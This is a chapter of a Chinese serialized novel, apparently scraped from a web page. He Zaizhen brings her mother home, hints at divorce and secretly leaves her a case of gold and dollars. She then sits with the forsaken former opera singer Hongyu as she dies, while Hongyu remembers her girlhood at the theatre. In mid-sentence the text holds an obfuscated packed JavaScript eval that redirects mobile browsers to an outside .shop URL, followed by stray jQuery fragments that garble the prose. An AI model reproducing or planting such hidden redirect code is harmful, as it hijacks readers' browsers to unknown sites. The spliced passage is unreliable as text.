何在真送白若曼回家。
因为回程带的东西多，茶叶、蜜饯、肉脯、布匹，还有几套给白若曼新做的衣裳，春夏秋冬四季都做了，因此带了两个佣人搬这些东西。车停在家门口，何在真和白若曼在一旁看着，遇着几个邻居过来打招呼。
一个妇人道：“婶子到姑爷家里去了？许久没回来。”
白若曼笑道：“承姑爷的情，在姑爷那儿住了一段时间。他见我今天回来，又打发人买了许多东西。”
那人拍手笑道：“难怪人家说姑爷是半个儿子——我看说是一个也不为过，多孝顺！多少后生没有这个心！我们自己儿子还是说不定的，你姑爷倒好人。”
旁边一个男子笑微微道：“你福气好。”
白若曼只是摆手，说：“也是姑娘嫁得好。”
妇人笑道：“可不是！姑爷对姑娘好，那才能顺着对丈母娘好。要是那不好的，连门都不许你上呢，怕污了他家的门槛，哪里有像你这样一住住半个月的？”
白若曼笑道：“嗳，不和你们说了，我收拾东西去，不知道家里什么样呢。我这一向不在家，不知道你们有见着我家出事吗？人在外面，家里空落落的，一想起来倒不安心，只怕出事。”
“能有什么事？左邻右舍呢！”那妇人想了想，又说：“前几天你家在有倒是回来了一趟，还问我们你去哪儿了呢。你没跟他说？”
白若曼冷笑道：“我跟他说？也有娘向儿子汇报的道理！前些日子他和媳妇住外面去了，倒还知道回来！他走他的，我出去和他什么关系？你少搭理他。”
那妇人笑了，说：“他们年轻人搬出去住也是有的。他媳妇不是城里的小姐？哪里住得惯。早搬走了也好，省得合气！”
白若曼也不分辩，摆了摆手便进去了。
白若曼提着沉甸甸的箱子，颇有一种衣锦还乡的感觉，一面低声道：“你记着似逸的二叔说的话？那么些人呢，也亏他说得出那番话！似逸也不是他的儿子，叔叔又怎么样？也没住他的房子，他倒好意思说我住久了碍着你们了。他自己怕人见着，躲在哪里我都不管他。他自己是个好人？倒教训起我来了。我住我姑娘姑爷的家里，这还没山珍海味、绫罗绸缎的呢，我也天天帮着你家的张妈做些事情，他一张嘴就血口喷人了。得亏他没有住在你家里！所以我说什么来着？叫你打理好家里。只你一个正房太太，你这会还任由下边的人做主，晚了有你哭的时候——他们还不知道谁是主子呢！你不争气，连带着我们去看望你的人也受气！你知不知道？”
何在真一愣，说：“你多心了。他也是随口一说，发牢骚罢了，你想它做什么？就算他有这个意思，那又怎么样？似逸也没有这个意思。似逸不发话，谁赶你来着？”
“你这就是短见！他这会对你死心塌地的，你在家里守着他，他可不是住在家里的人，保不准哪天就看上一个了！你在家里也没有一点权势的，到时候谁听你的？”走到厅里，白若曼把箱子放下，又说：“你没听着他后面对你说的话？你自己怎么一点不上心？人家已经是嫌弃你了！什么学生活动，话里对你很不客气呢！”
何在真笑道：“我还没觉着怎么样，你着什么急？”
白若曼恨恨道：“你这就是‘皇帝不急太监急’！以为有个好依靠了！哪天靠不住，有的你哭。”因见何在真手上也提着一个皮箱，问道：“你要在家里住几天？带了衣服来了？刚好佣人在这，你叫她们收拾收拾你的房间，省得你自己动手了。”
何在真也不说话，在茶桌边站了半天，又是看厅尾墙上的那张红纸黑字的“天地君亲师”，又是张望不远处的三间卧室的细眼子门。见佣人拿完东西，过来报道：“少奶奶，东西都搬进来了，还有什么要做的？”
何在真道：“不用了，你们先出去，我一会就来。”
两个佣人应了一声，转身手挽着手出去了。
白若曼正在倒茶喝，闻言问道：“你不住？那怎么还有一箱子东西？”
半晌，何在真问道：“妈，我想离婚，你觉着好不好？”
白若曼登时抬头盯着何在真，惊道：“离什么婚？你要离婚？你听了谁的话？”
何在真摇头道：“没听谁的话，我自己想离婚。”
白若曼鼻管子里哼出一声，冷声道：“你也是疯了，过了几天舒服日子，和你那哥哥一样头脑发昏起来。一个不要自己的前途，一个忘了老娘。我也不知道你哪想出来的疯话！我只告诉你，你可得想想前段日子你是怎么过来的——有什么好工作？还是你心里藏了哪个少爷了？你是窝在家里等死！连实话都不敢对我说。这会刚过上好日子，大概是大鱼大肉把你吃昏头了，还以为以前过的是好日子呢！”
何在真直直地看着白若曼锐利的眼睛，只觉得看到了她当初在李家恨不得捉自己奸的面孔，那样的决绝和狰狞——她心里为母亲塑的月亮因此碎了。她想起梁太太的两个孩子，挨了打还能立马扑到梁太太怀里去的。那是孩童的力量吗？还是他们太脆弱？立马弱化母亲对自己的伤害，而要立即扑回母亲的怀里。她自己还能够扑到白若曼的怀里吗？那未免太做作、太虚假，两个人稍微靠近都要不舒服的，有一种恶心感。连请了裁缝给白若曼量身材，后两天送了衣服过来，她站在照身镜面前给白若曼比划衣服，触碰到她的肩膀、她的胸部、她的腰部，都感受到一种诧异，比碰了陌生人还要奇怪。她知道那时白若曼也愣住了。
许久，何在真摇头道：“算了，没什么。”
白若曼哼道：“你少想这些！你真是闷在家里把脑子闷坏了！也许是你在那边待久了，接触的都是富贵人家的少爷小姐，叫你误以为自己也是大家小姐了！你记着，我们家不是什么高门大户！嫁了个傅家，已经是祖宗保佑了！”
何在真也不答，把地上的箱子推到白若曼那边，说：“这是给你的，不是我的衣服。”
白若曼一时不好立马打开看是什么，只点了点头，又问：“你在家吃了午饭再回去？要下雨了，但你开了车来的，倒不怕。那几个佣人也留在家里吃一顿，帮我搬了那么些东西呢。”
何在真摇头道：“不了，还要去看一个人。早点去，也许下雨前能回到家。”
半晌，白若曼道：“也是，早些去早些回，下雨天麻烦。”说完起身送何在真出去，又嘱咐道：“你自己的事情自己多上心，多看着点似逸。”
何在真道：“知道了。”
打发人走了，白若曼关门回了里边，先坐下把刚才倒的茶喝完，才拖了箱子放到茶桌上。打开一看，是一箱子的黄金珠宝，还有一大笔美钞。白若曼看得心惊，心里热辣辣的，眼睛都直了，看了眼关上的大门，忙关了箱子，倒回去锁了大门，再回来打开看了又看。她一时想不明白女儿给她这么一大笔钱是做什么，事先还一点嘱咐也没有。难不成是拿错箱子了？照理说不可能，这个箱子她看着是在真单独从她自己的房间里拿出来的，而送她的礼物都是早放在楼下的。那她为什么给我那么大一笔钱？孝顺我？她自知不大可能，孝顺也不是这么个孝顺法。白若曼沉吟了一会，猛地想起刚才何在真说的想离婚的话，虽然被自己三言两语堵回去了，但一想她既然说得出口，那么必然是早已经想过的了。——难道是将傅家的钱运出来，以备她日后离婚了用？但钱是交到自己手上的，想来何在真明白不会再转回她的手上。白若曼想不明白，只是欢天喜地，索性抖着手先把箱子藏起来了。
藏在床底下，白若曼喘吁吁地站着。还说离婚？那么大一笔钱，想来傅家的钱更是山一样大的。离什么婚？她就是死也该死在傅家，免得傅似逸离婚后追责追到她手上的钱。好大一笔钱，她的心突突直跳。
何在真说去看一个人，确实没有骗白若曼。她是早上接了梁太太的电话，约众人到她家喝下午茶，但打了红玉的电话没人接。梁太太要看两个孩子走不开，正好何在真送白若曼回家要出门，便叫何在真过去看看怎么一回事，顺便去接红玉。
何在真先向梁太太问过了几楼几室，这会到地方了径上楼找红玉。站在门口揿电铃，两三回不见答应，便随手在门把手上扭了扭，没想到却开了。
何在真站在门口叫唤道：“有人在家吗？红玉姊？”
里边黑黢黢的，只看见阳台窗帘紧闭，映着幽幽的乌黑的天光——要下雨了。一切都是暗的，只隐约张见物件的影子。左手靠墙安了一套沙发椅，三张单人沙发、一张三座长沙发，围着中间的玻璃面红木茶桌，大概作会客室用；隔一架镂花玉色屏风，旁边是一副桃花心木餐桌，配樟木一字椅。茶桌、沙发、餐桌、另一边靠墙放电话的矮桌都盖了一层桃红绣花垫子，还是新婚的风格，连窗帘都是大红丝绒料子。只是太暗了，只有灰白里的影子。
“谁来了？”一道苍凉的声音，薄薄的，没什么情绪。
像从东周战国的苍野穿过来的，越过了茫茫的魏晋生死离别，千年前的质问。
何在真猛地以为自己死了，是一只鬼魂。她回头看了看，门上安的电铃——这现代的装置。她不是站在千年前打开了一个时空的雕花木匣子，里面是现在的布置和哀愁——她是活在当下，没有被发配到不能说话的古中国时代。她慢慢地走进去，回道：“红玉姊，是我——在真。”她循着声音进去，在面向阳台的长沙发椅上看见了红玉，失了生命的鲜活的红玉，她在沙发上缩下去了，似乎要成为一个点。
红玉道：“是你，我还以为是谁呢。”她说完，脸上浮起一个很浅的笑容。
何在真蹲在她的面前，也不问她以为的是谁，只说：“你生病了？怎么只顾躺在家里？”她看了一圈室内，没见着别人，又道：“程老板呢？我送你去医院吧，你这样子躺在家里不好。”
红玉摇头道：“他回家去了。”
何在真惊道：“回家？”
红玉笑了笑，说：“他是华裔，家在马来那边呢。不过他有很多个家，也不一定是回了马来。我不知道他回哪个。”
何在真愣了愣，问道：“他不回来了？”
红玉道：“也许是的，他说他不来芙蓉城了，叫我自己照顾好自己。”
何在真闻言问道：“他——给你留了钱？那你怎么不去看病？”
红玉笑道：“有一些钱，但看病太晚了——太晚了。我不想去了。”
何在真不大明白，见红玉的样子，似乎只是太虚弱了，不应当是什么绝症。因问道：“为什么？”
两人安静了半天，红玉才道：“你说，人为什么活着？在真，我是太累了。”
她唱了二十几年的戏，发觉自己是太累了，如果三十五岁是她的流年厄运，那么她几乎是将整个生命种在舞台上。根太深了，她一走就要死的。树挪死，人挪活——她是养在芙蓉大戏院的后天井里的一株红花桃树。艳艳地开了那么些年，花落下来，铺了满台子的花。然而风来了，雨来了，密密层层的花瓣在雨的泥土中腐烂了，她的心也腐烂了。在她之前还有许多代人，她们离开芙蓉大戏院，也几乎立马就枯萎了。明明在台上那么漂亮，人面桃花，细细描摹的白描牡丹，是最中国的写意画，远远看着就觉得好的。但嗓子苍老了，她们的生命也立即苍老。
好半天，何在真泪流满面，抬手用手背擦了擦眼睛，一面握住红玉滞涩的手道：“他应该带你一起走的，不可以不管你。”
红玉只是笑道：“不怪他——这不怪他。我不爱他，这和他没有关系。”
何在真勉强笑了笑，说：“没关系，我送你到医院去看看。”
红玉仍是摇头，她睁着眼看了天花板半日。外面的天越发黑了，轰隆隆刮起大风，像入夜了一般。这时是半下午时分，快要到傍晚——芙蓉城的傍晚总是悠长。这是白天，还是黑夜？这是夏天，还是冬天？——混淆了，似乎没有什么差别的。她的生命的参照物——她的悠悠上扬的音调凋零了，时间随之失去意义。楼下街道上车来车往，“滴、滴、滴”的喇叭声此起彼伏，也像生命的时钟在倒数——芙蓉大戏院的自鸣钟，“当、当、当——”。她生命的狭暮。大红大绿的车灯照了沙发椅一瞬，越过去，自墙壁上消失了。
红玉问道：“在真，在真，你有没有问过华月，人活着是为了什么呢？”
她想起她第一次走进大戏院里。那时她九岁，父母双亲死了，她上头一个哥哥，十五六岁，在芙蓉城过活不下去，要到外地闯闯。她是一个小小的包袱，她哥哥把她放到大戏院去。
她哥哥说：“你在这里安心待着，好好听话，把嗓子练得顶好，也是给自己一口饭吃。我到四川去谋生，好时回来见你。不过天下没有不散的宴席，连至亲血缘也有说不见的时候，爹妈就是眼前的例子。万一——万一我不好，你也别惦记了，你在这儿好好地活着，将来找个好人家嫁了，往前走就是了。你记着？”
红玉听不大懂，只要叫她哥哥放心，因点头道：“我记着了。”
当下和李妈妈写了红纸黑字的契约，中间撕开了，两方收好。契约上写着生死有命、富贵在天，成角儿路上众多打骂训练概不负责，日后成角儿收益三七分账。她哥哥握着那张纸，眼睛红红的，勉强嘱咐一番，自去了。
那时的李妈妈还十分年轻，不过是当时的妈妈子身边的一个红人，揽住红玉的肩膀笑道：“小孩儿，别哭了，又不是叫你去送死。这是好地方呢，不是那等腌臜地方。”她玉手一指里边的戏台子，笑道：“你看，穿得艳艳的，好不好看？以后你练好了，有得给你穿呢。”
越过天井投下的玉色太阳光，那高高的戏台子上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17934860|206699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正在唱戏，颜色衣服、姣好面貌。花旦眉目婉转，脸上堆着浓浓的笑；小生有如玉树临风，吊着多情眼。正在唱一出《人生好相会，今生不休书》。
人活着是为了什么呢？——
红玉忽地想起后边抱翠、春晓、夏荷来了，几人常滚在房间的地板上，掐着嗓子作戏。春天时候，桃花开了，凤仙花也开了，几人坐在桃花下的春凳上，由年纪大些的姊姊们给她们染指甲。“咄、咄、咄”——石锤在石臼里捣着凤仙花。捣好了，敷在指甲上，常常是明黄带红的颜色。
那个时候，她们几个新来的年纪轻的小孩子睡在一楼的一个房间里，七八个人住在一块。里面只四张床，冬天的时候挨在一起还是暖和，但夏天是太热了，抱翠便带着她在地上打地铺，铺开两三张有些破的凉席，一个劲地滚来滚去。
春晓稳重一些，盘腿坐在床上道：“诶，地上不是太硬了？骨头都要睡痛的，你们还是回来挤一挤吧。”
红玉听了，想着很是，便起身要回去。却被抱翠抱住了腿，说：“别回去别回去，我们在这儿多舒服！两个人睡三个位置呢。上去一块睡，挨在一起，到处都是汗。”
旁边的夏荷笑道：“但是还有蚊子，你们在下边睡，又没有帐子，怎么好睡？”
抱翠嘟哝道：“把床上的帐子拉一床下来，搭在你们的床铺之间刚好。”
春晓几人都笑了，掐着腰道：“不行不行，我们又不到下面睡的。”
抱翠人少力弱，一时说不过来，忙起来扑到床上，伸手捂住她们的嘴。夏荷推她，一面笑嘻嘻地嚷起来。声音太大了一些，李妈妈打楼上下来，楼梯上“嗒嗒嗒”的声响。
红玉还呆在地上，忙道：“有人来了。”
抱翠扭头过去，笑道：“谁来了？”
话刚说完，李妈妈推开了门，挑眉笑道：“小蹄子们闹什么闹？要反了天了，上面都能够听到你们的鬼嚎。你们是休息够了？好，都起来练嗓子罢。”
几人呆住了没敢回话，抱翠跳起来道：“姊姊，我们闹着玩呢。吵着你们了？好，我们不闹了，您快别生气。人家说生气皱眉头的老得快呢，脸上最容易起皱纹。”一面走过去，笑嘻嘻地把李妈妈往外请，说：“您快去睡！别耽搁了，我们就睡了。”
李妈妈又气又好笑，戳了戳她的额头，笑道：“小油嘴——你们再胡闹，一会就不是我下来了。要是扰了妈妈，叫你们吃不了兜着走！”
抱翠请了个安，笑道：“嗻！”
李妈妈笑着扶楼梯上去了，半道上被抱翠叫住，回头问道：“做什么？”
抱翠三脚两步走上去，问道：“院里还有帐子没有？姊姊，我要打地铺睡呢。”
李妈妈垂眼看了看低了自己几个台阶的抱翠，头发散在肩上，眼睛亮晶晶的，刚要说她得了便宜还卖乖，这会讨起东西来了，但想了想，只说：“倒是应该有的，一时不知道放在哪儿了，明天叫人给你找。”
抱翠笑道：“嗳！”才登登的下楼去了。
红玉见她回来，问道：“你同李姊姊说什么？”
抱翠道：“叫她给我们找床帐子。”
夏荷问她：“她给你找？”
抱翠得意道：“说明天才找呢。”一扭头又对红玉道：“红玉姊，我们今晚还是同她们挤一挤，明晚就自己睡了。”
春晓几人笑骂道：“听你嫌弃那样！等明儿个睡得骨头痛了，不要回我们的床上。”
抱翠拉着红玉挨到床上，一个劲地闹她们，说：“好好，这会我们最后一次同床共寝罢。”
几人压低了声音哈哈地笑起来。红玉在旁边微笑着，拥着身上的汗腻咸湿的薄被子，觉得一世就这样安稳了。——不会再变动的人生，幸福和安稳就这样藏在她们的小房间里。
后来也没在地上睡太久，毕竟是地板，果然睡得骨头痛。她们刚到芙蓉大戏院，有几个小孩子脏得很，换了一身新衣裳，但头发里的虱子没被换走。一个传染一个，没多久，个个顶着虱子窠，说头上痒。李妈妈看了，笑骂道：“谁带来的虱子？看了叫人怪害怕的，起一身的鸡皮疙瘩！”骂完，又叫了几个人给她们闷药水。挑一个大晴天，一个个在天井那儿洗了头发，也不吹干，药水洒进头发里，再拿毛巾裹住，盘在头上。天井下坐了一溜的小人，手上拿着戏院的老妈子做的麦芽糖。——她是多年前的鬼吗？那个坐在天井下春凳上的小孩子的鬼魂。
人活着是为了什么？何在真不知道。红玉却一遍遍地回味那一个仿佛已经是刻在木板上的画面。
“我不记得我叫什么名字了。契约还放在李妈妈那儿，我没有带走，上面好像写着我的名字。”
“我送你回芙蓉大戏院去也好，顺便看看你的名字。不要紧，就放在那儿呢，回去就能看见了。”
今人总说名字不大重要，以为它只是一个符号，不能够代表自己，名字是一文不值——这是今人自我意识太重的缘故。自我太重了，现实托不住，只好叫它坠到地上，于是越发看不起一切附在自己身上的东西，以为种种妨碍了自己的意义。人们敲敲打打，总以为一定有一个东西刚刚好可以安放自己的灵魂。然而到底是中国人，名字是栓在魂魄上的，沾了三魂五魄的味道。名字是期待、是盼望，是诅咒。我们找寻一生，发现名字早已经给我们在尘世安放了位置，正正好好，严丝合缝，能对上命运的一切隐喻。
何在真一手垫在红玉的脖颈下，汗腻腻的，一手圈着红玉的腰，她把她抱起来，一面道：“我送你回去吧。”
红玉笑道：“不回去了。一出来，就再也回不去了。”
人的念想瞬息万变，在苦海里走一步，就再也不是原来的位置。可以走回去吗？念念不住。
何在真只是哭。
红玉道：“不要告诉李妈妈。我走了，她到底有些伤心。再者，我这头一个轰轰烈烈出来的，再凄凄惨惨地回去，多叫人笑话！没的叫戏院的姊妹没脸。”
何在真低声应了她一句：“嗯。”
一时红玉咽气去了，安安静静地淌下两行泪水。真是命比纸薄，好个可怜人儿。正是：三寸气在千般用，一日无常万事休。
何在真见她不再说话，叫她道：“红玉姊——红玉姊——”没有人应她。天上正好起了一道霹雳，轰隆隆要将天幕分碎了似的。何在真一惊，回头向阳台那儿看过去，声音先到，白色的闪电后到，辟开了何在真眼里的灰沉。——整个芙蓉城下起了暴雨。
后何在真安排，将红玉葬在芙蓉城墓园，又打点收拾她的遗物，按她的吩咐先收在身边，以后再打发给芙蓉大戏院众人。又将她的公寓退了，还有三个月的房钱在房东老头那儿，放过不要。那梁太太、方太太、白莉莉、许曼都去了一回墓地祭拜她，都说世事无常。